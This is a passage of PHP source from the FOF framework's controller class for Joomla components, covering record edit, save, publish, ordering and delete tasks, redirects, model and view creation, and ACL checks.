// Set the layout to form, if it's not set in the URL
if (!$this->layout)
{
$this->layout = 'form';
}
// Do I have a form?
$model->setState('form_name', 'form.' .
$this->layout);
$item = $model->getItem();
if (!($item instanceof FOFTable))
{
return false;
}
$formData = is_object($item) ? $item->getData() : array();
$form = $model->getForm($formData);
if ($form !== false)
{
$this->hasForm = true;
}
// Display
$this->display(in_array('add', $this->cacheableTasks));
}
/**
* Single record edit. The ID set in the request is passed to the model,
* then the form layout is used to edit the result.
*
* @return bool
*/
public function edit()
{
// Load the model
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$status = $model->checkout();
if (!$status)
{
// Redirect on error
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
$this->setRedirect($url, $model->getError(), 'error');
return false;
}
// Set the layout to form, if it's not set in the URL
if (is_null($this->layout))
{
$this->layout = 'form';
}
// Do I have a form?
$model->setState('form_name', 'form.' .
$this->layout);
$item = $model->getItem();
if (!($item instanceof FOFTable))
{
return false;
}
$itemKey = $item->getKeyName();
if ($item->$itemKey != $model->getId())
{
return false;
}
$formData = is_object($item) ? $item->getData() : array();
$form = $model->getForm($formData);
if ($form !== false)
{
$this->hasForm = true;
}
// Display
$this->display(in_array('edit', $this->cacheableTasks));
return true;
}
/**
* Save the incoming data and then return to the Edit task
*
* @return bool
*/
public function apply()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
$model = $this->getThisModel();
$result = $this->applySave();
// Redirect to the edit task
if ($result)
{
$id = $this->input->get('id', 0, 'int');
$textkey = strtoupper($this->component) . '_LBL_' .
strtoupper($this->view) . '_SAVED';
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' . $this->view .
'&task=edit&id=' . $id . $this->getItemidURLSuffix();
$this->setRedirect($url, JText::_($textkey));
}
return $result;
}
/**
* Duplicates selected items
*
* @return bool
*/
public function copy()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$status = $model->copy();
// Redirect
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
if (!$status)
{
$this->setRedirect($url, $model->getError(), 'error');
return false;
}
else
{
if(!FOFPlatform::getInstance()->isCli())
{
FOFPlatform::getInstance()->setHeader('Status', '201
Created', true);
}
$this->setRedirect($url);
return true;
}
}
/**
* Save the incoming data and then return to the Browse task
*
* @return bool
*/
public function save()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
$result = $this->applySave();
// Redirect to the display task
if ($result)
{
$textkey = strtoupper($this->component) . '_LBL_' .
strtoupper($this->view) . '_SAVED';
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
$this->setRedirect($url, JText::_($textkey));
}
return $result;
}
/**
* Save the incoming data and then return to the Add task
*
* @return bool
*/
public function savenew()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
$result = $this->applySave();
// Redirect to the display task
if ($result)
{
$textkey = strtoupper($this->component) . '_LBL_' .
strtoupper($this->view) . '_SAVED';
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' . $this->view .
'&task=add' . $this->getItemidURLSuffix();
$this->setRedirect($url, JText::_($textkey));
}
return $result;
}
/**
* Cancel the edit, check in the record and return to the Browse task
*
* @return bool
*/
public function cancel()
{
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$model->checkin();
// Remove any saved data
JFactory::getSession()->set($model->getHash() .
'savedata', null);
// Redirect to the display task
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
$this->setRedirect($url);
return true;
}
/**
* Method to load a row from version history
*
* @return boolean True if the content history is reverted, false
otherwise
*
* @since 2.2
*/
public function loadhistory()
{
$app = JFactory::getApplication();
$lang = JFactory::getLanguage();
$model = $this->getThisModel();
$table = $model->getTable();
$historyId = $app->input->get('version_id', null,
'integer');
$status = $model->checkout();
$alias = $this->component . '.' . $this->view;
if (!$model->loadhistory($historyId, $table, $alias))
{
$this->setMessage($model->getError(), 'error');
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
$this->setRedirect($url);
return false;
}
// Determine the name of the primary key for the data.
if (empty($key))
{
$key = $table->getKeyName();
}
$recordId = $table->$key;
// To avoid data collisions the urlVar may be different from the primary
key.
$urlVar = empty($this->urlVar) ? $key : $this->urlVar;
// Access check.
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.edit',
'core.edit'
);
if (!$this->checkACL($privilege))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED'));
$this->setMessage($this->getError(), 'error');
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
$this->setRedirect($url);
$table->checkin();
return false;
}
$table->store();
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
$this->setRedirect($url);
$this->setMessage(JText::sprintf('JLIB_APPLICATION_SUCCESS_LOAD_HISTORY',
$model->getState('save_date'),
$model->getState('version_note')));
return true;
}
/**
* Sets the access to public. Joomla! 1.5 compatibility.
*
* @return bool
*
* @deprecated since 2.0
*/
public function accesspublic()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
return $this->setaccess(0);
}
/**
* Sets the access to registered. Joomla! 1.5 compatibility.
*
* @return bool
*
* @deprecated since 2.0
*/
public function accessregistered()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
return $this->setaccess(1);
}
/**
* Sets the access to special. Joomla! 1.5 compatibility.
*
* @return bool
*
* @deprecated since 2.0
*/
public function accessspecial()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
return $this->setaccess(2);
}
/**
* Publish (set enabled = 1) an item.
*
* @return bool
*/
public function publish()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
return $this->setstate(1);
}
/**
* Unpublish (set enabled = 0) an item.
*
* @return bool
*/
public function unpublish()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
return $this->setstate(0);
}
/**
* Archive (set enabled = 2) an item.
*
* @return bool
*/
public function archive()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
return $this->setstate(2);
}
/**
* Trash (set enabled = -2) an item.
*
* @return bool
*/
public function trash()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
return $this->setstate(-2);
}
/**
* Saves the order of the items
*
* @return bool
*/
public function saveorder()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$ordering =
$model->getTable()->getColumnAlias('ordering');
$ids = $model->getIds();
$orders = $this->input->get('order', array(),
'array');
if ($n = count($ids))
{
for ($i = 0; $i < $n; $i++)
{
$model->setId($ids[$i]);
$neworder = (int) $orders[$i];
$item = $model->getItem();
if (!($item instanceof FOFTable))
{
return false;
}
$key = $item->getKeyName();
if ($item->$key == $ids[$i])
{
$item->$ordering = $neworder;
$model->save($item);
}
}
}
$status = $model->reorder();
// Redirect
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
$this->setRedirect($url);
return $status;
}
/**
* Moves selected items one position down the ordering list
*
* @return bool
*/
public function orderdown()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$status = $model->move(1);
// Redirect
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
if (!$status)
{
$this->setRedirect($url, $model->getError(), 'error');
}
else
{
$this->setRedirect($url);
}
return $status;
}
/**
* Moves selected items one position up the ordering list
*
* @return bool
*/
public function orderup()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$status = $model->move(-1);
// Redirect
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
if (!$status)
{
$this->setRedirect($url, $model->getError(), 'error');
}
else
{
$this->setRedirect($url);
}
return $status;
}
/**
* Delete selected item(s)
*
* @return bool
*/
public function remove()
{
// CSRF prevention
if ($this->csrfProtection)
{
$this->_csrfProtection();
}
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$status = $model->delete();
// Redirect
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
if (!$status)
{
$this->setRedirect($url, $model->getError(), 'error');
}
else
{
$this->setRedirect($url);
}
return $status;
}
/**
* Redirects the browser or returns false if no redirect is set.
*
* @return boolean False if no redirect exists.
*/
public function redirect()
{
if ($this->redirect)
{
$app = JFactory::getApplication();
$app->enqueueMessage($this->message, $this->messageType);
$app->redirect($this->redirect);
return true;
}
return false;
}
/**
* Returns true if there is a redirect set in the controller
*
* @return boolean
*/
public function hasRedirect()
{
return !empty($this->redirect);
}
/**
* Register the default task to perform if a mapping is not found.
*
* @param string $method The name of the method in the derived class
to perform if a named task is not found.
*
* @return FOFController A FOFController object to support chaining.
*/
public function registerDefaultTask($method)
{
$this->registerTask('__default', $method);
return $this;
}
/**
* Register (map) a task to a method in the class.
*
* @param string $task The task.
* @param string $method The name of the method in the derived class
to perform for this task.
*
* @return FOFController A FOFController object to support chaining.
*/
public function registerTask($task, $method)
{
if (in_array(strtolower($method), $this->methods))
{
$this->taskMap[strtolower($task)] = $method;
}
return $this;
}
/**
* Unregister (unmap) a task in the class.
*
* @param string $task The task.
*
* @return FOFController This object to support chaining.
*/
public function unregisterTask($task)
{
unset($this->taskMap[strtolower($task)]);
return $this;
}
/**
* Sets the internal message that is passed with a redirect
*
* @param string $text Message to display on redirect.
* @param string $type Message type. Optional, defaults to
'message'.
*
* @return string Previous message
*/
public function setMessage($text, $type = 'message')
{
$previous = $this->message;
$this->message = $text;
$this->messageType = $type;
return $previous;
}
/**
* Sets an entire array of search paths for resources.
*
* @param string $type The type of path to set, typically
'view' or 'model'.
* @param string $path The new set of search paths. If null or false,
resets to the current directory only.
*
* @return void
*/
protected function setPath($type, $path)
{
// Clear out the prior search dirs
$this->paths[$type] = array();
// Actually add the user-specified directories
$this->addPath($type, $path);
}
/**
* Registers a redirection with an optional message. The redirection is
* carried out when you use the redirect method.
*
* @param string $url The URL to redirect to
* @param string $msg The message to be pushed to the application
* @param string $type The message type to be pushed to the
application, e.g. 'error'
*
* @return FOFController This object to support chaining
*/
public function setRedirect($url, $msg = null, $type = null)
{
// Do the logic only if we're parsing a raw url
(index.php?foo=bar&etc=etc)
if (strpos($url, 'index.php') === 0)
{
$isAdmin = FOFPlatform::getInstance()->isBackend();
$auto = false;
if (($this->autoRouting == 2 || $this->autoRouting == 3)
&& $isAdmin)
{
$auto = true;
}
elseif (($this->autoRouting == 1 || $this->autoRouting == 3)
&& !$isAdmin)
{
$auto = true;
}
if ($auto)
{
$url = JRoute::_($url, false);
}
}
$this->redirect = $url;
if ($msg !== null)
{
// Controller may have set this directly
$this->message = $msg;
}
// Ensure the type is not overwritten by a previous call to setMessage.
if (empty($type))
{
if (empty($this->messageType))
{
$this->messageType = 'message';
}
}
// If the type is explicitly set, set it.
else
{
$this->messageType = $type;
}
return $this;
}
/**
* Sets the published state (the enabled field) of the selected item(s)
*
* @param integer $state The desired state. 0 is unpublished, 1 is
published.
*
* @return bool
*/
protected function setstate($state = 0)
{
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$status = $model->publish($state);
// Redirect
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
if (!$status)
{
$this->setRedirect($url, $model->getError(), 'error');
}
else
{
$this->setRedirect($url);
}
return $status;
}
/**
* Sets the access level of the selected item(s).
*
* @param integer $level The desired viewing access level ID
*
* @return bool
*/
protected function setaccess($level = 0)
{
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$id = $model->getId();
$item = $model->getItem();
if (!($item instanceof FOFTable))
{
return false;
}
$accessField = $item->getColumnAlias('access');
$key = $item->getKeyName();
$loadedid = $item->$key;
if ($id == $loadedid)
{
$item->$accessField = $level;
$status = $model->save($item);
}
else
{
$status = false;
}
// Redirect
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
$url = !empty($customURL) ? $customURL : 'index.php?option=' .
$this->component . '&view=' .
FOFInflector::pluralize($this->view) . $this->getItemidURLSuffix();
if (!$status)
{
$this->setRedirect($url, $model->getError(), 'error');
}
else
{
$this->setRedirect($url);
}
return $status;
}
/**
* Common method to handle apply and save tasks
*
* @return boolean Returns true on success
*/
private function applySave()
{
// Load the model
$model = $this->getThisModel();
if (!$model->getId())
{
$model->setIDsFromRequest();
}
$id = $model->getId();
$data = $this->input->getData();
if (!$this->onBeforeApplySave($data))
{
return false;
}
// Set the layout to form, if it's not set in the URL
if (is_null($this->layout))
{
$this->layout = 'form';
}
// Do I have a form?
$model->setState('form_name', 'form.' .
$this->layout);
$status = $model->save($data);
if ($status && ($id != 0))
{
FOFPlatform::getInstance()->setHeader('Status',
'201 Created', true);
// Try to check-in the record if it's not a new one
$status = $model->checkin();
}
if ($status)
{
$status = $this->onAfterApplySave();
}
$this->input->set('id', $model->getId());
if (!$status)
{
// Redirect on error
$id = $model->getId();
if ($customURL = $this->input->get('returnurl',
'', 'string'))
{
$customURL = base64_decode($customURL);
}
if (!empty($customURL))
{
$url = $customURL;
}
elseif ($id != 0)
{
$url = 'index.php?option=' . $this->component .
'&view=' . $this->view .
'&task=edit&id=' . $id . $this->getItemidURLSuffix();
}
else
{
$url = 'index.php?option=' . $this->component .
'&view=' . $this->view . '&task=add' .
$this->getItemidURLSuffix();
}
$this->setRedirect($url, '<li>' .
implode('</li><li>', $model->getErrors()) .
'</li>', 'error');
return false;
}
else
{
$session = JFactory::getSession();
$session->set($model->getHash() . 'savedata', null);
return true;
}
}
/**
* Returns the default model associated with the current view
*
* @param array $config Configuration variables for the model
*
* @return FOFModel The global instance of the model (singleton)
*/
final public function getThisModel($config = array())
{
if (!is_object($this->_modelObject))
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
if (!empty($this->modelName))
{
$parts = FOFInflector::explode($this->modelName);
$modelName = ucfirst(array_pop($parts));
$prefix = FOFInflector::implode($parts);
}
else
{
$prefix = ucfirst($this->bareComponent) . 'Model';
$modelName = ucfirst(FOFInflector::pluralize($this->view));
}
if (!array_key_exists('input', $config) ||
!($config['input'] instanceof FOFInput))
{
$config['input'] = $this->input;
}
$this->_modelObject = $this->getModel($modelName, $prefix,
$config);
}
return $this->_modelObject;
}
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return object The model.
*/
public function getModel($name = '', $prefix = '',
$config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config) || empty($config))
{
// array_merge is required to create a copy instead of assigning by
reference
$config = array_merge($this->config);
}
if (empty($name))
{
$name = $this->getName();
}
if (empty($prefix))
{
$prefix = $this->model_prefix;
}
if ($model = $this->createModel($name, $prefix, $config))
{
// Task is a reserved state
$model->setState('task', $this->task);
// Let's get the application object and set menu information if
it's available
if (!FOFPlatform::getInstance()->isCli())
{
$app = JFactory::getApplication();
$menu = $app->getMenu();
if (is_object($menu))
{
if ($item = $menu->getActive())
{
$params = $menu->getParams($item->id);
// Set default state data
$model->setState('parameters.menu', $params);
}
}
}
}
return $model;
}
/**
* Returns current view object
*
* @param array $config Configuration variables for the model
*
* @return FOFView The global instance of the view object (singleton)
*/
final public function getThisView($config = array())
{
if (!is_object($this->_viewObject))
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config) || empty($config))
{
// array_merge is required to create a copy instead of assigning by
reference
$config = array_merge($this->config);
}
$prefix = null;
$viewName = null;
$viewType = null;
if (!empty($this->viewName))
{
$parts = FOFInflector::explode($this->viewName);
$viewName = ucfirst(array_pop($parts));
$prefix = FOFInflector::implode($parts);
}
else
{
$prefix = ucfirst($this->bareComponent) . 'View';
$viewName = ucfirst($this->view);
}
$document = FOFPlatform::getInstance()->getDocument();
if ($document instanceof JDocument)
{
$viewType = $document->getType();
}
else
{
$viewType = $this->input->getCmd('format',
'html');
}
if (($viewType == 'html') && $this->hasForm)
{
$viewType = 'form';
}
if (!array_key_exists('input', $config) ||
!($config['input'] instanceof FOFInput))
{
$config['input'] = $this->input;
}
$config['input']->set('base_path',
$this->basePath);
$this->_viewObject = $this->getView($viewName, $viewType, $prefix,
$config);
}
return $this->_viewObject;
}
/**
* Method to get the controller name
*
* The dispatcher name is set by default parsed using the classname, or
it can be set
* by passing a $config['name'] in the class constructor
*
* @throws Exception
*
* @return string The name of the dispatcher
*/
public function getName()
{
if (empty($this->name))
{
if (empty($this->bareComponent))
{
$r = null;
if (!preg_match('/(.*)Controller/i', get_class($this), $r))
{
throw new
Exception(JText::_('JLIB_APPLICATION_ERROR_CONTROLLER_GET_NAME'),
500);
}
$this->name = strtolower($r[1]);
}
else
{
$this->name = $this->bareComponent;
}
}
return $this->name;
}
/**
* Get the last task that is being performed or was most recently
performed.
*
* @return string The task that is being performed or was most recently
performed.
*/
public function getTask()
{
return $this->task;
}
/**
* Gets the available tasks in the controller.
*
* @return array Array[i] of task names.
*/
public function getTasks()
{
return $this->methods;
}
/**
* Method to get a reference to the current view and load it if
necessary.
*
* @param string $name The view name. Optional, defaults to the
controller name.
* @param string $type The view type. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for view. Optional.
*
* @throws Exception
*
* @return FOFView Reference to the view or an error.
*/
public function getView($name = '', $type = '',
$prefix = '', $config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
if (empty($name))
{
$name = $this->getName();
}
if (empty($prefix))
{
$prefix = $this->getName() . 'View';
}
$signature = md5($name . $type . $prefix . serialize($config));
if (empty($this->viewsCache[$signature]))
{
if ($view = $this->createView($name, $prefix, $type, $config))
{
$this->viewsCache[$signature] = & $view;
}
else
{
throw new
Exception(JText::sprintf('JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND',
$name, $type, $prefix), 500);
}
}
return $this->viewsCache[$signature];
}
/**
* Creates a new model object
*
* @param string $name The name of the model class, e.g. Items
* @param string $prefix The prefix of the model class, e.g.
FoobarModel
* @param array $config The configuration parameters for the model
class
*
* @return FOFModel The model object
*/
protected function createModel($name, $prefix = '', $config =
array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
$result = null;
// Clean the model name
$modelName = preg_replace('/[^A-Z0-9_]/i', '',
$name);
$classPrefix = preg_replace('/[^A-Z0-9_]/i', '',
$prefix);
$result = FOFModel::getAnInstance($modelName, $classPrefix, $config);
return $result;
}
/**
* Method to load and return a model object.
*
* @param string $name The name of the model.
* @param string $prefix Optional model prefix.
* @param array $config Configuration array for the model. Optional.
*
* @return mixed Model object on success; otherwise null
*/
protected function &_createModel($name, $prefix = '',
$config = array())
{
FOFPlatform::getInstance()->logDeprecated(__CLASS__ . '::'
.__METHOD__ . ' is deprecated. Use createModel() instead.');
return $this->createModel($name, $prefix, $config);
}
/**
* Creates a View object instance and returns it
*
* @param string $name The name of the view, e.g. Items
* @param string $prefix The prefix of the view, e.g. FoobarView
* @param string $type The type of the view, usually one of Html,
Raw, Json or Csv
* @param array $config The configuration variables to use for
creating the view
*
* @return FOFView
*/
protected function createView($name, $prefix = '', $type =
'', $config = array())
{
// Make sure $config is an array
if (is_object($config))
{
$config = (array) $config;
}
elseif (!is_array($config))
{
$config = array();
}
$result = null;
// Clean the view name
$viewName = preg_replace('/[^A-Z0-9_]/i', '', $name);
$classPrefix = preg_replace('/[^A-Z0-9_]/i', '',
$prefix);
$viewType = preg_replace('/[^A-Z0-9_]/i', '', $type);
if (!isset($config['input']))
{
$config['input'] = $this->input;
}
if (($config['input'] instanceof FOFInput))
{
$tmpInput = $config['input'];
}
else
{
$tmpInput = new FOFInput($config['input']);
}
// Guess the component name and view
if (!empty($prefix))
{
preg_match('/(.*)View$/', $prefix, $m);
$component = 'com_' . strtolower($m[1]);
}
else
{
$component = '';
}
if (empty($component) && array_key_exists('input',
$config))
{
$component = $tmpInput->get('option', $component,
'cmd');
}
if (array_key_exists('option', $config))
{
if ($config['option'])
{
$component = $config['option'];
}
}
$config['option'] = $component;
$view = strtolower($viewName);
if (empty($view) && array_key_exists('input', $config))
{
$view = $tmpInput->get('view', $view, 'cmd');
}
if (array_key_exists('view', $config))
{
if ($config['view'])
{
$view = $config['view'];
}
}
$config['view'] = $view;
if (array_key_exists('input', $config))
{
$tmpInput->set('option', $config['option']);
$tmpInput->set('view', $config['view']);
$config['input'] = $tmpInput;
}
// Get the component directories
$componentPaths =
FOFPlatform::getInstance()->getComponentBaseDirs($config['option']);
// Get the base paths where the view class files are expected to live
$basePaths = array(
$componentPaths['main'],
$componentPaths['alt']
);
$basePaths = array_merge($this->paths['view']);
// Get the alternate (singular/plural) view name
$altViewName = FOFInflector::isPlural($viewName) ?
FOFInflector::singularize($viewName) : FOFInflector::pluralize($viewName);
$suffixes = array(
$viewName,
$altViewName,
'default'
);
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
foreach ($suffixes as $suffix)
{
// Build the view class name
$viewClass = $classPrefix . ucfirst($suffix);
if (class_exists($viewClass))
{
// The class is already loaded
break;
}
// The class is not loaded. Let's load it!
$viewPath = $this->createFileName('view',
array('name' => $suffix, 'type' => $viewType));
$path = $filesystem->pathFind($basePaths, $viewPath);
if ($path)
{
require_once $path;
}
if (class_exists($viewClass))
{
// The class was loaded successfully
break;
}
}
if (!class_exists($viewClass))
{
$viewClass = 'FOFView' . ucfirst($type);
}
$templateOverridePath =
FOFPlatform::getInstance()->getTemplateOverridePath($config['option']);
// Setup View configuration options
if (!array_key_exists('template_path', $config))
{
$config['template_path'][] = $componentPaths['main']
. '/views/' . FOFInflector::pluralize($config['view'])
. '/tmpl';
if ($templateOverridePath)
{
$config['template_path'][] = $templateOverridePath .
'/' . FOFInflector::pluralize($config['view']);
}
$config['template_path'][] = $componentPaths['main']
. '/views/' .
FOFInflector::singularize($config['view']) . '/tmpl';
if ($templateOverridePath)
{
$config['template_path'][] = $templateOverridePath .
'/' . FOFInflector::singularize($config['view']);
}
$config['template_path'][] = $componentPaths['main']
. '/views/' . $config['view'] . '/tmpl';
if ($templateOverridePath)
{
$config['template_path'][] = $templateOverridePath .
'/' . $config['view'];
}
}
$extraTemplatePath =
$this->configProvider->get($config['option'] .
'.views.' . $config['view'] .
'.config.template_path', null);
if ($extraTemplatePath)
{
array_unshift($config['template_path'],
$componentPaths['main'] . '/' . $extraTemplatePath);
}
if (!array_key_exists('helper_path', $config))
{
$config['helper_path'] = array(
$componentPaths['main'] . '/helpers',
$componentPaths['admin'] . '/helpers'
);
}
$extraHelperPath =
$this->configProvider->get($config['option'] .
'.views.' . $config['view'] .
'.config.helper_path', null);
if ($extraHelperPath)
{
$config['helper_path'][] = $componentPaths['main'] .
'/' . $extraHelperPath;
}
// Set up the page title
$setFrontendPageTitle =
$this->configProvider->get($config['option'] .
'.views.' . $config['view'] .
'.config.setFrontendPageTitle', null);
if ($setFrontendPageTitle)
{
$setFrontendPageTitle = strtolower($setFrontendPageTitle);
$config['setFrontendPageTitle'][] =
in_array($setFrontendPageTitle, array('1', 'yes',
'true', 'on'));
}
$defaultPageTitle =
$this->configProvider->get($config['option'] .
'.views.' . $config['view'] .
'.config.defaultPageTitle', null);
if ($defaultPageTitle)
{
$config['defaultPageTitle'][] = in_array($defaultPageTitle,
array('1', 'yes', 'true', 'on'));
}
// Set the use_hypermedia flag in $config if it's not already set
if (!isset($config['use_hypermedia']))
{
$config['use_hypermedia'] =
$this->configProvider->get($config['option'] .
'.views.' . $config['view'] .
'.config.use_hypermedia', false);
}
// Set also the linkbar_style
if (!isset($config['linkbar_style']))
{
$style = $this->configProvider->get($config['option'] .
'.views.' . $config['view'] .
'.config.linkbar_style', false);
if ($style) {
$config['linkbar_style'] = $style;
}
}
/**
* Some administrative templates force format=utf (yeah, I know, what the
heck, right?) when a format
* URL parameter does not exist in the URL. Of course there is no such
thing as FOFViewUtf (why the heck would
* it be, there is no such thing as a format=utf in Joomla! for crying
out loud) which causes a Fatal Error. So
* we have to detect that and force $type='html'...
*/
if (!class_exists($viewClass) && ($type != 'html'))
{
$type = 'html';
$result = $this->createView($name, $prefix, $type, $config);
}
else
{
$result = new $viewClass($config);
}
return $result;
}
/**
* Deprecated function to create a View object instance
*
* @param string $name The name of the view, e.g. 'Items'
* @param string $prefix The prefix of the view, e.g.
'FoobarView'
* @param string $type The view type, e.g. 'html'
* @param array $config The configuration array for the view
*
* @return FOFView
*
* @see FOFController::createView
*
* @deprecated since version 2.0
*/
protected function &_createView($name, $prefix = '', $type =
'', $config = array())
{
FOFPlatform::getInstance()->logDeprecated(__CLASS__ . '::' .
__METHOD__ . ' is deprecated. Use createView() instead.');
return $this->createView($name, $prefix, $type, $config);
}
/**
* Set the name of the view to be used by this Controller
*
* @param string $viewName The name of the view
*
* @return void
*/
public function setThisViewName($viewName)
{
$this->viewName = $viewName;
}
/**
* Set the name of the model to be used by this Controller
*
* @param string $modelName The name of the model
*
* @return void
*/
public function setThisModelName($modelName)
{
$this->modelName = $modelName;
}
/**
* Checks if the current user has enough privileges for the requested ACL
* area.
*
* @param string $area The ACL area, e.g. core.manage.
*
* @return boolean True if the user has the ACL privilege specified
*/
protected function checkACL($area)
{
if (in_array(strtolower($area),
array('false','0','no','403')))
{
return false;
}
if (in_array(strtolower($area),
array('true','1','yes')))
{
return true;
}
elseif (empty($area))
{
return true;
}
else
{
// Check if we're dealing with ids
$ids = null;
// First, check if there is an asset for this record
$table = $this->getThisModel()->getTable();
if ($table && $table->isAssetsTracked())
{
$ids = $this->getThisModel()->getId() ?
$this->getThisModel()->getId() : null;
}
// Generic or Asset tracking
if (empty($ids))
{
return FOFPlatform::getInstance()->authorise($area,
$this->component);
}
else
{
if (!is_array($ids))
{
$ids = array($ids);
}
$resource = FOFInflector::singularize($this->view);
$isEditState = ($area == 'core.edit.state');
foreach ($ids as $id)
{
$asset = $this->component . '.' . $resource .
'.' . $id;
// Dedicated permission found, check it!
if (FOFPlatform::getInstance()->authorise($area, $asset) )
{
return true;
}
// Fallback on edit.own, if not edit.state. First test if the
permission is available.
if ((!$isEditState) &&
(FOFPlatform::getInstance()->authorise('core.edit.own',
$asset)))
{
$table = $this->getThisModel()->getTable();
$table->load($id);
$created_by =
$table->getColumnAlias('created_by');
if ($table && isset($table->$created_by))
{
// Now test the owner is the user.
$owner_id = (int) $table->$created_by;
// If the owner matches 'me' then do the test.
if ($owner_id == FOFPlatform::getInstance()->getUser()->id)
{
return true;
}
else
{
return false;
}
}
else
{
return false;
}
}
}
}
}
return false;
}
/**
* A catch-all method for all tasks without a corresponding onBefore
* method. Applies the ACL preferences defined in fof.xml.
*
* @param string $task The task being executed
*
* @return boolean True to allow execution of the task
*/
protected function onBeforeGenericTask($task)
{
$privilege = $this->configProvider->get(
$this->component . '.views.' .
FOFInflector::singularize($this->view) . '.acl.' . $task,
''
);
return $this->checkACL($privilege);
}
/**
* Execute something before applySave is called. Return false to prevent
* applySave from executing.
*
* @param array &$data The data upon which applySave will act
*
* @return boolean True to allow applySave to run
*/
protected function onBeforeApplySave(&$data)
{
return true;
